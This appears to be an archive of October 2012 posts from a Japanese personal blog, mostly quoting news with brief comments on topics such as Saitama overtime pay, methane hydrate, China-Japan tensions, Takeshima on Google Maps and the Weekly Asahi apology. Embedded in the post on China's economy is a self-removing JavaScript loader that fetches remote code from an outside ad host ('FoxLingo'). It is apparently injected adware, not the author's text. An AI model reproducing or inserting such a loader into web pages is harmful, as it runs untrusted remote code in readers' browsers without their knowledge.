2012年10月の記事
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残業２０１７時間、手当７４０万円？
在職中毎日3時間残業で月６０時間ほど残業していた時期がありましたが、埼玉県職員が年間２０１７時間の残業をし、年間給与額と同程度の約７４７万円が支給されていたことが問題となっています。１２で割ると毎月１６８時間の残業を継続していたことになり、他部署の職員１人当たりの年間時間外勤務は平均１３５・６時間（月平均約１１時間）と比較して異常。県庁に住んでいなければ出来ない残業量、これ本当？なのでしょうか。本当だとすると異常です。残業最長２０１７時間、時間外手当７４０万円…埼玉県職員 知事「誰が見ても異常」 埼玉県の上田清司知事は３０日の定例記者会見で、平成２３年度の県職員（教職員と警察官を除く知事部局の主幹級以下）の勤務時間で、残業時間が最長で年２０１７時間に及んでいたことを明らかにし、管理職の処分を検討する方針を示した。県によると残業時間が最長だったのは税務課の４０代男性主査で、時間外手当は約７４０万円。同課の別の４０代男性主査は年１９１６時間で手当は最高額の約７４７万円だった。ちなみに職員１人当たりの平均残業時間は年１３５.６時間。税務課では昨年７月までに税務システムの更新作業があり、一部職員に負担が集中したという。上田知事は「職員はきわめて熱心に仕事をしているのだが、誰が見ても異常。調査をして、場合によっては管理職の処分も含めて対処したい」と述べた。「県庁に住んでたの？」 県職員、残業最長２０１７時間 県職員の２０１１年度の時間外勤務手当で、最も高い人は年間給与額と同程度の約７４７万円が支給されていたことが、２６日の県議会決算特別委員会で報告された。 人事課によると、この職員は税務課の４０代男性主査で年間の時間外勤務は１９１６時間。同課の別の４０代男性主査は最長２０１７時間（時間外手当額約７４０万円）働いており、県職員１人当たりの平均年間総労働時間（１８７４時間）と比べると、２人は通常勤務時間を上回る「残業」をこなしていたことになる。中屋敷慎一県議（刷新の会）は「単純計算すると、普通の職員の２倍、朝から翌日未明まで仕事をしていたことになり、この職員は県庁に住んでいたのか、という話になる。支給金額はともかく労務管理上、問題がある」と指摘。人事課は「昨年７月に税務システムの切り替えがあり、その部署の職員を中心に負担が増してしまった。時間外勤務の多い部署については今後、具体的な縮減策を作り、削減を図る」と述べた。同課の調べで、職員１人当たりの年間時間外勤務は平均１３５・６時間だが、一部課の職員の時間数が突出している。昨年度の時間外勤務が年間１千時間を超えた職員は両主査を含む税務課６、財政課１０、人事課４の計２０人。昨年、システム変更という特別な状況があった税務課に対し、財政課と人事課は季節的な業務の差が激しく、慢性的に時間外勤務が多い傾向にあるという。と記載されています。
2012年10月31日
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エネルギー国日本？ーメタンハイドロードが近海に
次世代エネルギーのメタンハイドレートはこれまで注目されながら、海底の深い場所でしか見つかっておらず、採掘するには掘削に向けて技術とコストが課題だと話にならなかったようですが、日本近海の陸から近くて浅い場所で広範囲に見つかり、回収もされたようです。この回収がうまくいくと、日本がエネルギー国となるのは夢ではありません。日本近海の広範囲にメタン発見 浅く採掘に優位な場所 次世代のエネルギー源として注目される「メタンハイドレート」が日本近海の広い範囲で、海底下数メートルの浅い場所に存在する可能性があることが新たに分かったと、北見工大と明治大などのチームが２９日発表した。オホーツク海や日本海で発見し、回収にも成功。メタンハイドレートの資源化を前進させることも期待される。これまでも太平洋を中心に深い場所で見つかっていたが、極めて浅い場所で見つかったことで、比較的容易に採掘でき、経済的にも優位になる可能性があるという。チームが発見したのは、北海道網走市沖のオホーツク海、秋田、山形、新潟、各県沖合の日本海の海底。日本海・オホーツク海にメタンハイドレート 明治大など、浅い海底で確認（日経） 明治大学と北見工業大学、東京大学の共同調査グループは29日、メタンハイドレートが日本の排他的経済水域（ＥＥＺ）内の日本海からオホーツク海にわたる広域の海底で見つかったと発表した。海底下数メートルの浅い部分に埋まっており、これまでに太平洋で確認された海底下深くのメタンハイドレートと比べ掘り出しやすい。埋蔵量は不明だが、国産エネルギー源としての期待が高まる。メタンハイドレートが見つかったのは北海道網走市のオホーツク海沖と、秋田県から新潟県にかけての日本海沖。一部を掘り出して回収した。兵庫県から島根県にかけての日本海沖でも存在を示す証拠を確認した。明大の松本良特任教授は「こうした場所はたくさんあると考えてよい」と述べ、日本海やオホーツク海の海底に広く未利用資源が眠っている可能性を示した。メタンハイドレートは海底から数メートル掘った浅い地下に円盤型のシャーベット状になって埋まっていた。これまでに太平洋側の南海トラフなどで見つかったメタンハイドレートは海底下数十メートルより深い部分にあり、掘削に向けて技術とコストが課題となっている。海底の表層にあれば掘り出しやすく、日本海のメタンハイドレートが有望な資源となる可能性も出てきた。調査グループは「今後、分布の調査や、回収方法の技術開発を進める必要がある」と強調している。海底下表層のメタンハイドレートはこれまでにメキシコ湾やカナダのバンクーバー沖、サハリン沖などで確認されている。資源利用に向けた研究は日本が先行するが、日本海やオホーツク海のメタンハイドレートについてはロシアや中国、韓国も調査を進めている。と記載されています。
2012年10月30日
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幼稚で不公正な「赤い資本主義」ー各国の対応
幼稚で不公正な「赤い資本主義」の国に対して、国際会議ボイコット・米国内スパイ活動・資源買いあさり・英国原発への参入・透明性欠く灰色企業問題等、諸外国が中国や中国企業に対していろいろな対応をし始めました。次の記事は個々の項目について解説されています。世界の各地で「赤い資本主義」への脅威論が高まっています。幼稚で不公正な「赤い資本主義」 中国リスクどう向き合う？ 中国企業への警戒が世界で高まっている。米議会は通信大手２社の政府システムからの排除を求め、カナダでは石油開発企業の買収に批判が殺到。英国では原子力発電所建設計画の入札に、安全保障の懸念が高まった。経済大国の企業と思えぬ振る舞いに加え、取引上の「透明性」は全くない。各企業の背後に見え隠れするのは中国共産党の存在で、それこそが中国進出のリスクの正体でもある。日本も含め各国による「赤い資本主義包囲網」は形成されつつある。経済大国にふさわしくない幼稚な振る舞い 「欠席は全く適切なことだった」 中国外相の説明は、世界各国に対する少しの配慮もなかった。中国は今月、東京で開かれた国際通貨基金（ＩＭＦ）・世界銀行年次総会に、財政相も中国人民銀行総裁も参加しなかった。尖閣問題への対抗措置だが、日本開催は以前から決まっていたことだ。「美しい季節の東京で重要な問題を議論する素晴らしい機会を逃した」ウイットの効いたラガルドＩＭＦ専務理事に比べると、その行動は荒っぽさが際立つ。世界経済の行方を討議する場に２国間関係を持ち込んで平然としている姿は、世界第２位の経済大国にふさわしいものではない。スパイ行為の危険性 米下院情報特別委員会は１０月８日、中国を代表する大手通信機器メーカー「華為技術（ファーウェイ）」と「中興通訊（ＺＴＥ）」に関する調査結果を発表した。１年にわたる多角的な調査は「両社製の部品を使うとスパイ行為にさらされる危険がある」という報告書にまとめられた。報告書は両社製品を政府の通信システムから排除することや、民間企業にも購入の自粛を求め、両社による米企業の買収を阻止すべきだと結論づけた。「悪意ある目的のため、中国は両社を利用する手段も機会も動機もある」と記し、事実上の締め出しを求める非常に厳しいものだ。「中国の経済や政治制度はカナダと大きく異なり複雑だ」 ロジャース委員長は「共産党政権や軍と両社のつながりが引き起こす懸念は深刻だ」と訴えた。資源買いあさりへの「包囲網」 カナダで問題になっているのは、海洋石油・ガス探査の国有企業、中国海洋石油（ＣＮＯＯＣ）が７月に発表したカナダ石油大手ネクセンの買収計画だ。ＣＮＯＯＣは日中間で問題になっている東シナ海のガス田開発を手がけ、南シナ海へも進出している。北米各地に開発権益を保有するネクセンの買収額は１５１億ドル（約１兆２千億円）。まとまれば中国企業では過去最大規模。各国からの投資を歓迎しているハーパー政権だが、この案件には資源独占などの懸念や批判が噴出した。ロイター通信によると、カナダ政府は今月１１日、検討期間の３０日間の延長を決め、「徹底的で慎重な検査を行う」（パラディ産業相）という事態に追い込まれた。ハーパー首相も「中国の経済や政治制度はカナダと大きく異なり複雑だ」と述べ、他の西側諸国と同列には扱えないと認めた。英国原発への参入 中国側には第三者が判断に参加できる透明性がない大西洋を越えた英国で持ち上がったのは、原発と電力という安全保障の核心に触れる問題だ。独企業が撤退したあとの原発計画に今夏、仏原子力大手アレバが中国国営の広東核電集団と組んで入札することが明らかになった。英国での成功は海外への原発売り込みを図る試金石になるとみられたが、結局アレバは今月、入札を見送ったことを明らかにした。与党保守党議員からも安全保障上の懸念を引き起こすといった批判が続出。前労働党政権のエネルギー政策担当者も「英国のエネルギー供給網の内部に入り込んでくることになる」と脅威論をかき立てていた。中国企業の参入に高まった批判が、入札見送りに影響した可能性もある。透明性欠く“灰色”企業 米国政府が企業に命じてイランに経済制裁を科すように、西側諸国のといえど政府や政治情勢から自由な企業はない。大統領選と議選前に発表された米下院報告書も、対中強硬姿勢を票に結びつけたい議員たちの政治的な思惑もにおう。しかし、最大の問題は中国側には第三者が判断に参加できる透明性がないということだ。「公正か不正かはさておき両社は何かを隠しているという印象」。ＺＴＥは対イラン制裁に抵触する部品を輸出した疑いがあるが関連文書の提出を拒んだ。影の部分を自ら作り出す行為だ。華為技術は「危険な政治的干渉だ」と米下院報告書に反論したが、そのまま中国政府に向けるべきだろう。と記載されています。
2012年10月29日
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健康は猫背を直して正しく歩く！
最近奥様より座っている時や歩いている時に「猫背になっている」と指摘を受けることが多く、このひと月ほど前から腰痛再発で、腰の痛みから特にひどくなってきたようなのです。サイトで「猫背が治る立ち方」を見つけ、ひざだちーつま先立ちーそのままドスンとかかとを落とす ことで正しい立ち方ができ、歩くときは腰ではなくみぞおちの下を支点にして歩くと なるほど！ なのです。深い呼吸もいいようです。正しく立って、ねこ背を治す 姿勢で気持ちも前向きに 「知るだけで、ねこ背が治る！」と唱えるベストセラーを読んで、実践してみたら、すこぶる調子がよくなりました。以来、姿勢には気をつけてきた。「ねこ背は治る！ 知るだけで体が改善する『４つの意識』」（自由国民社）という本が本屋に平積みされているのを見つけて即、購入。昨秋に出版されて１９万部を超える売れ行きだ。よい姿勢と深い呼吸は新陳代謝を促し、病気予防の重要なツールになると思う」と話す。著者の小池義孝さん（３９）に話を聞いた。ねこ背の原因は重心ではないか と気づき、正しい立ち方を教え始めた。「知るだけで改善するので、喜んでもらえた。多くの人に知ってほしいと本を書きました」。呼吸、ねこ背、腕力、歩行について書いているが、ねこ背を治す知識は「太い方のすねの骨（脛（けい）骨）」に乗って正しく立つだけ。指導では実感しやすい呼吸の話から始める。「肺は普段イメージしている以上に大きい。実際の肺の大きさを図で見せ、鎖骨の上や背中が動くまで肺に息を吸い込むと、深い呼吸ができるようになります」次は、姿勢の番だ。 「まずは、ねこ背が困難な姿勢をとってもらいます。それが、ひざ立ちです」。ひざの１点で体を支えるひざ立ちは、太ももの骨（大腿（だいたい）骨）に重心がかかり、よい姿勢に楽に到達できる。この感覚を体に覚え込ませてから、立ち上がってみる。脛骨にまっすぐ乗る意識を持つと、すっと背筋が伸びてくる。「ねこ背が治ると、気持ちも前向きになります。いい姿勢で後ろ向きのことを考えるのは難しい」。最後に「元気が出る歩き方」を教えてもらった。歩き方 「足の付け根がみぞおちの下あたりにある、と意識して歩いてみて下さい」。大腿骨には大腰（だいよう）筋という筋肉がついている。みぞおちの下あたりの背骨につながっていて、そこを起点に大腿骨を動かしている。筋肉の「起点」は股関節よりずっと上にある、というわけだ。「大腰筋を使っていい姿勢で歩くと、メンタル面にもいい影響があります」と小池さん。頑張らなくても効果が実感できるのが広く受け入れられている秘密のようだ。と書かれています。
2012年10月28日
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温家宝首相一族、２千億円蓄財
中国の特権階級優遇が問題になっているようですが、温家宝首相一族、２千億円蓄財 のニュースには、共産党社会でありながら、権力を握るということは大きな財産を得ることなのだと思ってしまいした。世界の富豪の中に中国の特権階級の人が多々入っているのもこの理由でしょうか。温家宝首相一族、２千億円蓄財 出世に合わせ「異常なほど裕福に」 米紙報道 米紙ニューヨーク・タイムズ（電子版）は２５日、中国の温家宝首相の一族の資産が少なくとも約２７億ドル（約２２００億円）に上ると報じた。一族は温氏が１９９８年に副首相に就任して以降、巨額の財を築いていったといい、友人やビジネス・パートナー名義で投資するケースが目立つと指摘している。同紙は温首相の母や妻、息子、弟、義弟などの資産を企業や当局の報告書をもとに集計。２７億ドルのうち８０％は、中国共産党の規則では公開対象外という。温首相が新型肺炎（ＳＡＲＳ）の流行に伴い２００３年、医療廃棄物処理の規制を強化した後、弟の企業が水質保持や医療廃棄物処理に関わる事業（約３千万ドル）を政府から受注。弟は、この企業を含め２億ドルの資産を保有している。また、母親は世界的に著名な保険・金融企業「平安保険」の株式を０７時点で１億２千万ドル分保有していたが、株式の名義人は、温首相の郷里の企業だった。記事は、妻が宝石の品質管理担当の政府職員から中国の宝石市場で「女王」と称されるまでの軌跡や、一人息子が中国有数の投資ファンドを運営していることなども報じている。温首相が一族の資産形成に直接関与したかどうかは不明だが、記事は「戦略分野の投資案件で強い影響力を持っていた」と指摘。一族の巨額蓄財が明らかになり、１１月８日からの党大会以降、引退する温首相の影響力低下は避けられないとの見方も伝えている。中国政府は今回の報道を受けて、国内での同紙（電子版）の閲覧を阻止した。 中国の指導者一族の資産形成をめぐっては、米ブルームバーグが６月、習近平国家副主席の親族が数億ドルの資産を保有していると報じた際も、中国からの記事閲覧が阻止された。温首相の罷免を要求 中国、保守派の老幹部ら 中国共産党の保守派の老幹部や学者ら１６００人以上が連名で７月、「憲法に違反し、社会主義経済の基礎を転覆している」などとして改革志向の温家宝首相の罷免を要求する書簡を共産党中央委員会に送っていたことが７日分かった。書簡に賛同して署名した学者らが明らかにした。書簡に署名したのは、李成瑞・元国家統計局長や、馬賓・元国務院（政府）経済技術社会発展研究センター顧問ら。書簡は、温氏が国有企業の職員の声も聞かず、独断専行で国有企業を解体し、私有経済を発展させた結果、極端な貧富の差を生んだと主張。さらに「（温氏は）資本主義国家の多党制を目指す政治改革を推進しようと企てている」と非難した。また４月、マルクス主義や毛沢東主義を宣伝する保守系のサイトが温氏の指示で閉鎖されたと指摘し「人民の言論の自由を侵犯した重大な政治的事件だ」と批判した。と記載されています。
2012年10月27日
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中国景気に「反日」のツケー景気悪化へ
中国当局や中国国内の反日のツケが、中国経済に大きな影響を与え始めている。中国の日本車は生産・部材とも９割が中国。日系企業は約２万５千社が納税し、取引先を含む雇用創出は１千万人。米アップルのｉＰａｄなどは日本製部材を使って中国で生産。最新鋭の液晶パネル工場は日本の旭硝子のガラス基板を調達できないとパネル国産化が停滞。日本企業は中国から東南アジアに生産シフト替え。日本部材もストップすれば中国経済はバブル崩壊です。中国景気に「反日」のツケ 不買の代償、縮む生産 中国は国内総生産（ＧＤＰ）の伸び率が７四半期連続で鈍化した。堅調だった個人消費も息切れが目立ち、公共投資も大きな工事が盛んに動いている気配はない。日本と中国の経済が一体性を増すなかで、反日感情の高まりが生産や投資の下押し要因となりかねない。自動車販売台数第２位の国有企業大手、東風汽車集団、同６位の広州汽車集団の株価は９月中旬以来、一時16％も下落した。原因は日本車不買の広がり。東風汽車は日産自動車とホンダ、広州汽車はホンダやトヨタ自動車と合弁で日本ブランドの車を現地生産している。■合弁の打撃深刻 ９月の日本車販売は前年同月比４割減。日産、トヨタ、ホンダの株も一時１割前後下げたが、合弁相手ほどではない。日本企業の中国での販売比率は最大の日産で25％程度だが、合弁相手の中国２社の日本ブランド車依存率はそれぞれ４割、９割と影響がより深刻だ。中国で昨年販売した日本ブランド車は全体の２割にあたる約350万台。うち９割を中国で生産する。部品の現地調達率も９割前後になっており、日本ブランド車の実態は「中国車」だ。日本ブランド車の販売・生産が減少すれば日本企業は投資収益が主に悪化するが、中国では工場や販売店を持つ地域のＧＤＰの減少に直接つながる。自動車に限らず、家電、食品など中国で販売する日本ブランドの消費財は多くが現地生産だ。中国では日系企業約２万５千社が納税し、取引先を含む雇用創出は１千万人に達すると柯氏はみる。欧州危機で海外からの中国への直接投資額は１～９月に前年同期比3.8％減と低迷するが、日本からは17.0％増と勢いを保っていた。だが、15日に広東省広州市で始まった貿易見本市「中国輸出入商品交易会（広州交易会）」では、開幕４日目までに日本のバイヤーが前年比35％減った。■日系撤退を危惧 日本からの投資、日本への輸出が減れば景気浮揚は難しくなる。京セラ、ＴＤＫなど日系約500社が進出する生産拠点の同省東莞市。市政府の担当者は日系企業に「困ったことがあれば連絡してほしい」と声をかけている。日本企業の撤退だけは避けたいからだ。日本企業製の部材のボイコットも呼びかけられているが、実現は難しい。台湾のＥＭＳ最大手の鴻海精密工業は、米アップルのタブレット「ｉＰａｄ（アイパッド）」などを日本製部材を使って中国で生産している。鴻海グループだけで中国の輸出の３～５％に達するとされ、日本製部材の供給停止で生産が止まれば打撃は大きい。工場がある四川省の税関関係者は「ｉＰａｄ向け日本製部材は滞りなく通関させている」と明かす。中国企業も日本製品なしではやっていけない。家電大手のＴＣＬ集団（広東省）は13日、「8.5世代」と呼ばれる最新鋭の液晶パネル工場がフル生産に入ったと発表。だが、日本の旭硝子のガラス基板を調達できないと、緒に就いたパネル国産化が停滞する。日系企業製品のボイコットを続ければ中国の消費、生産、輸出、投資のあらゆる経済活動が縮小に向かう。９月の日本から中国への輸出は前年同月比14％の減少。大きな落ち込みではあるが、同じように領土を巡って対立するフィリピンの８月の対中輸出の42％減ほど深刻ではない。中国側が景気を意識し、まだ日本に対しては節度をもって対応している姿が見て取れる。だが、日本企業外しや製品ボイコットが長引けば日本側の経済活動も縮小に向かう。それがさらに中国の景気悪化に跳ね返る負のスパイラルに陥る。と記載されています。!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();
2012年10月26日
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グーグル、地図から竹島の韓国住所削除
昨日まで知らなかったのですが、日韓で問題になっている「竹島」の住所表記が、Google地図では韓国の住所表記になっていたのが島名表記だけになり、地図上に日本版では「竹島」、韓国版では「独島」とそれぞれ表記するよう19日付で変更なりました。これを知った韓国では、怒り狂っているようです。グーグル、地図から竹島の韓国住所削除 米インターネット検索大手グーグルが、地図サービス「グーグルマップ」で島根県の竹島（韓国名・独島）について表示していた韓国の住所を削除したことが24日、分かった。島根県によると、グーグルマップで「竹島」や「独島」で検索すると、地図上に島名の表記はなく、地図外のスペースに住所として「ウルルン郡799―800」と表示されていたことから、県と政府が「誤解を与える」と変更を求めていた。グーグルから県への説明によると、中立の立場から住所は表示せず、地図上に日本版では「竹島」、韓国版では「独島」とそれぞれ表記するよう19日付で変更した。島根県総務部の竹島担当の山崎祥管理監は「誤解を招く表記が修正されたことは評価する。今後も日本の住所が記載されるよう求めたい」と話している。「日本は沈没しろ！」韓国ネチズン激怒 グーグルマップが竹島韓国住所削除 日本のネット上では、歓迎する声が聞かれる一方、韓国では、怒りの声が上がっている。「大勝利」「まあ当然だ」「海外マスコミ呼んで紛争地域って宣伝されちゃったからw」。韓国住所が削除されたことが2012年10月24日報じられると、ネット上では、こんな書き込みが相次いだ。グーグルマップの韓国版には、韓国名の「独島」と地図上に表記されており、こちらも韓国住所が削除されていた。また、日・韓版以外は、欧米などで使われている「リアンクール岩礁」の表記になっている。島根県によると、グーグル側は、「中立的な立場で修正した」と説明したという。これに対し、韓国の大手紙「朝鮮日報」などは、修正について、「日本政府からの圧力があった」などと報じた。サイト上の記事のコメント欄には、書き込みはまだそれほどないものの、過激な文言がいくつか見られた。「仇敵日本は、早く海の中に永遠に沈没して、借金だらけの国に没落してほしい」「日本は呪いをうけてきっと滅亡する」「もうグーグルの検索エンジンを使わないぞ！」。グーグルの修正について、外務省の北東アジア課では、「以前よりもよくなったのは事実」と一定の評価をした。ただ、「100％満足ではありません」と言う。島根県によると、グーグル側には、島根県隠岐の島町の住所を入れてほしいと要請しており、総務課では、「一部進展しましたが、住所明記を引き続き要請したい」としている。また、「竹島」でグーグルマップを検索すると、未だに鹿児島県の地名が出てきたり、「竹島 島根県」と入れても、島根県庁の竹島資料室などが表示されたりする。「dokdo」と検索しないと、竹島は出てこない。この点については、「要請はしていませんが、検索で出てこないのは別問題。電話などでグーグル側に確認したい」と話している。なお、グーグルマップの日本版では、以前はなかった「日本海」の表記も、ここに来て地図上に書き込まれた。日・韓版以外では、「Sea of Japan」になっている。一方、韓国版では、韓国名である「東海」の表記になっている。と記載されています。
2012年10月25日
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非常識国家？海保の中国人６４名救助
人命救助をすることで「ありがとう！」と言ってもらうためにすることではありませんが、中国側の要請を受け、海上保安庁の巡視船艇が２１日、中国人乗組員６４人全員を救助したニュースが報道され、日中関係がこじれる中、海上保安庁よくやったと思っていましたが、中国外務省定例記者会見では中国側の措置を強調したものの、日本側に謝意を示さなかったそうです。国家として非常識に思えました。救助の中国人乗組員引き渡し＝貨物船火災で海保－沖縄 沖縄本島沖で貨物船「ＭＩＮＧ ＹＡＮＧ」（１万２７０３トン）が火災を起こした事故で、第１１管区海上保安本部（那覇市）は２２日、救助した中国人乗組員６４人を中国の救難船に引き渡した。火災は２０日夜、沖縄本島南東約１５０キロの沖合で発生。現場は公海だったが、中国側の要請を受け、同本部は巡視艇や巡視船を現場に派遣し、救助に当たった。同本部によると、貨物船はセントビンセント・グレナディーン船籍で、冷凍された貨物などを南米から中国に運んでいた。中国外務省、日本側に謝意示さず 海保の中国人救助で 海上保安庁が沖縄本島沖で火災を起こした大型貨物船の中国人乗組員６４人全員を救助したことについて、中国外務省の洪磊副報道局長は２２日の定例記者会見で「日本側と調整し、船員の救助に向けた有効な措置を取った」と強調した。日本側に謝意は示さなかった。沖縄沖で大型貨物船火災、３人軽症 中国人６４人救助 沖縄本島の南東約１５０キロの海域を航行中のセントビンセント・グレナディーン船籍の大型貨物船「ＭＩＮＧ ＹＡＮＧ」（１万２７０３トン）で火災が発生し、海上保安庁の巡視船艇が２１日、中国人乗組員６４人全員を救助した。うち３人がやけどなど軽症。第１１管区海上保安本部（那覇）によると、船尾部分で煙を確認。午前２時半ごろに巡視艇「あわぐも」が救命いかだに乗っていた２１人を救助、付近にいたパナマ船籍の運搬船に一時移送した。船首部分の甲板上に避難していた残りの４３人も午前３時４５分ごろに救助、約３時間後に６４人全員を巡視船「もとぶ」に移送した。１１管が乗組員から火災の原因について事情を聴いている。１１管は２０日夜、台湾当局を通じて外国船で火災が発生したとの通報を受け、航空機や巡視船艇を出動させていた。と記載されています。
2012年10月24日
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週刊朝日の謝罪ー橋本氏謝り方を知らない！
橋本市長に対する悪意に満ちた記事に対し、週刊朝日がお詫びを掲載しましたが、橋本市長より「謝り方を知らない」と、週刊朝日の対応批判がでました。内容を読んでみると、もっともだ！と思いました。私も同じような経験があり、謝り方が大切だと感じた次第です。私の場合、早期定年退職で企業年金を解約したのですが、税務署より来署召喚の葉書が来たのです。内容を確認すると解約時の利息が多いので延滞料を含め税を収める必要があるというのです。そのような多額な利息は貰っておらず調べてもらうと、「入力の際に1桁間違って入力していた」という説明で謝罪はないの？言うと、電話だけで謝罪するので、「それはないでしょう」と上司を連れて謝罪に来てもらいました。謝り方を知らない＝週刊朝日の対応批判－橋下氏 大阪市の橋下徹市長は２２日、自身の出自に関する報道で「おわび」を掲載した２３日発売の週刊朝日１１月２日号が市役所に送付されたことを明らかにした上で、「謝り方も知らないのか」と発行元の朝日新聞出版の対応に強い不満を示した。大阪市内で記者団の質問に答えた。橋下氏は「週刊誌だけ送りつけて終わり。次の記者会見に来るかどうか。そこに人間と言えるかがかかっている」と述べ、同社関係者が来て直接謝罪するよう求めた。市長の出自に関する週刊朝日の記事をめぐっては、橋下市長が「一線を越えている」などと強く反発し、朝日新聞社の取材は拒否する意向を表明。朝日新聞出版が記事の連載中止と編集長の謝罪コメントを発表していた。「人権に著しく配慮を欠くものになった」 週刊朝日がおわび掲載 橋下徹大阪市長の出自を題材にした連載の打ち切りを決めた「週刊朝日」は、２３日発売の最新号（１１月２日号）で「記事チェックのあり方を見直し、社として、今回の企画立案や記事作成の経緯などについて、徹底的に検証を進めます」などとするおわびを掲載することが２２日、分かった。おわびは、河畠大四編集長名で見開き２ページ。「次の衆院選では、第三極として台風の目になるとも言われる政治家・橋下氏の人物像に迫ることが狙いで、差別を是認したり助長したりする意図はなかった」としながらも「同和地区を特定するなど極めて不適切な記述を掲載した」「ジャーナリズムにとって最も重視すべき人権に著しく配慮を欠くものになった」と謝罪した。問題になった記事は、ノンフィクション作家佐野真一氏と取材班が先週発売の１０月２６日号から始めた「ハシシタ 奴の本性」。と掲載されています。
2012年10月23日
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がん治療に朗報！
がん治療に朗報のニュースが掲載されていました。京大:カーボンナノチューブに近赤外線でがん細胞死滅成功 のニュースで、患部に近赤外線を照射する治療法に繋がると発表。５月のニュースには２週間でがん細胞がほぼ消滅した例もある治療薬「イレッサ」や、ノーベル賞の「ｉＰＳ細胞研究」もあり、がん治療に光明が見えてきました。京大:カーボンナノチューブに近赤外線でがん細胞死滅成功 炭素でできた極小の素材「カーボンナノチューブ」に近赤外線を照射して活性酸素を効率よく発生させ、がん細胞を死滅させることに京都大の村上達也助教（細胞工学）の研究グループが成功、１９日発表した。医療技術への応用が期待される。米化学会誌の電子版に近く掲載される。カーボンナノチューブに光を照射すると、熱や活性酸素が発生することが知られており、がん治療の可能性を探る研究が各国で進められている。グループは、赤外線の一種で、透過性が高く人体への影響が比較的小さい「近赤外線」を利用することを考案。さらに、カーボンナノチューブの中でも「半導体性」と呼ばれる性質を持った部分だけが近赤外線を吸収して活性酸素を出すことを突き止めた。そこで、この成分を分離・濃縮し、ヒトの肺がん細胞と混ぜて近赤外線を１０分間照射したところ、熱による影響も含め４５％の細胞が死滅したことを確認した。村上助教は「微量のカーボンナノチューブを血管から注入し、患部に近赤外線を照射する治療法が考えられるのではないか」と話している。カーボンナノチューブは、六角形に結合した炭素原子が円筒形につながった物質で、筒の直径は数ナノメートル（ナノは１０億分の１）。鋼鉄より硬く、弾力性があり、電気や熱を通す性質から、医療機器などでの応用が期待されている。と記載されています。肺がん治療薬イレッサ 2週間でがん細胞がほぼ消滅した例も 従来の抗がん剤はがん細胞だけでなく正常細胞も攻撃するので、治療による副作用が強く、がん細胞に対する効果も不十分でした。分子標的薬はがん細胞で活性化している特定の分子をターゲットにするため、がんに特異的に作用し、効果が高く副作用が少ないのが特徴です。イレッサやタルセバはEGFR（上皮成長因子受容体）という遺伝子の変異に対する薬です」当初からイレッサは肺がんのうちでも、日本を含むアジア人、女性、非喫煙者、腺がんに効きやすいことがわかっていた。中には2週間でがん細胞がほぼ消滅した例もある。とのことです。
2012年10月22日
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外壁セラミック塗装40万ー建坪40坪
太陽光発電設置業者がリフォームも手がけており、横殴りの雨の時に二階窓付近からの雨漏りで、雨水が床に溜まった話をして、壁面をサイデリアを貼った場合の見積りをお願いしていましたが、現在の壁面塗装の保証が10年で、まだ保証期間が残っているのだったら、塗装業者さんにまず話してみてはと提案を受けていました。昨日調べると平成17年9月に塗装していることがわかり、早速塗装業者さんに、雨漏りの件と10年保証の件を電話で伝えたところ、社長さんが来られて現状を確認してくれました。応急処置で現状の上から一層を塗る提案がありましたが、日差しの強い南面の塗装面を触ると白い粉状のものが手に付く状況なので、塗料の劣化始まっており、塗り替えの見積りをしてもらいました。そこで出てきたのは、驚くような見積金額なのです。壁面全面のセラミック塗装と、家まわり、樋、ブロック塀。雨漏りでシミの付いた壁の塗り替え、玄関室の階段と、廊下。軒先を全周覆っているサビが進行しているスパンドレルの撤去や玄関庇屋根板金工事等、全部あわせて40坪の我が家の塗装見積りは40万円だというのです。事前に調べていた40坪の建坪の外壁塗装金額は、アクリル塗装45万・シリコン塗装51万・セラミック塗装65万・フッ素塗装80万・光触媒塗装87万円だったので、驚きの低価格なのです。塗装の施工方法も、壁面にアクによるシミが出るのを防ぐため、モルタル塗装をした上からセラミック塗装の工法を取るのだそうです。震災後、毎日新聞に大きくな広告で外壁塗装「毎日リフォーム」と書かれた業者にセラミック塗装をお願いしたところ、片言の日本語をしゃべる外人作業者が来て、塗装完了後上塗りの状況を見ると、下塗りの色が見える雑な塗り方で再塗装をしてもらったのを思い出します。数年後別の塗装業者から「上塗りをしていないよ！」と指摘を受け、１０年保証の業者に電話をすると、会社はありませんでした。そのこともあるので、今回のセラミック塗装工程を社長に念入りに確認し、私の得た情報どおりの塗装工程以上だったので安心して任せることにしました。お隣にも今回の塗装業者さんに外壁塗装の見積りを依頼されていたので見積もってもらうと、同じ塗装で同じ金額が提示され、驚かれた様子でした。10年保証の件や、ストックのセラミック塗料があることで、職人の賃金が払えれば良いと気っ風のいい社長さんの判断だったようです。
2012年10月21日
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朝日新聞・週刊朝日・筆者ともに謝罪
橋本大阪市長を貶める内容や同和地区などに関する記事を掲載した件で、朝日新聞・週刊朝日・筆者とも謝罪することとなり、2回目以降の掲載を中止すると決めました。朝日新聞の記事に対する考え方については、完全子会社だが編集権がないと橋本氏に対して回答はしていませんでしたが、やっと今回の連載記事の内容について見解を出しました。橋下市長連載を中止 朝日新聞出版、不適切な記述複数 朝日新聞出版は１９日、同社発行の「週刊朝日」が１０月２６日号に掲載した、ノンフィクション作家・佐野眞一氏らによる橋下徹・大阪市長に関する連載記事「ハシシタ 奴の本性」について、同和地区などに関する不適切な記述が複数あったことを理由に、第２回以降の中止を決めた。河畠大四・週刊朝日編集長がコメントを出して連載中止を発表するとともに、改めて謝罪した。河畠編集長は１８日の談話でおわびをし、週刊朝日の次号に「おわび」を掲載する考えを表明していた。筆者の佐野氏は１９日、「今回の記事は『週刊朝日』との共同作品であり、すべての対応は『週刊朝日』側に任せています。記事中で同和地区を特定したことなど、配慮を欠く部分があったことについては遺憾の意を表します」とのコメントを出した。橋下市長は１８日の記者会見で、週刊朝日の連載記事について「僕の人格を否定する根拠として、先祖や縁戚、ＤＮＡを挙げて過去を暴き出していくのは公人としても認められない」と批判していた。■週刊朝日編集長 改めて深くおわび 《河畠大四・週刊朝日編集長の話》 第１回の連載記事中で同和地区などに関する不適切な記述が複数あり、このまま連載の継続はできないとの最終判断に至りました。橋下徹・大阪市長をはじめとした関係者の皆様に、改めて深くおわび申し上げます。不適切な記述を掲載した全責任は当編集部にあり、再発防止に努めます。本連載の中止で、読者の皆様にもご迷惑をおかけすることをおわびします。■朝日新聞社、深刻に受け止め 《朝日新聞社広報部の話》 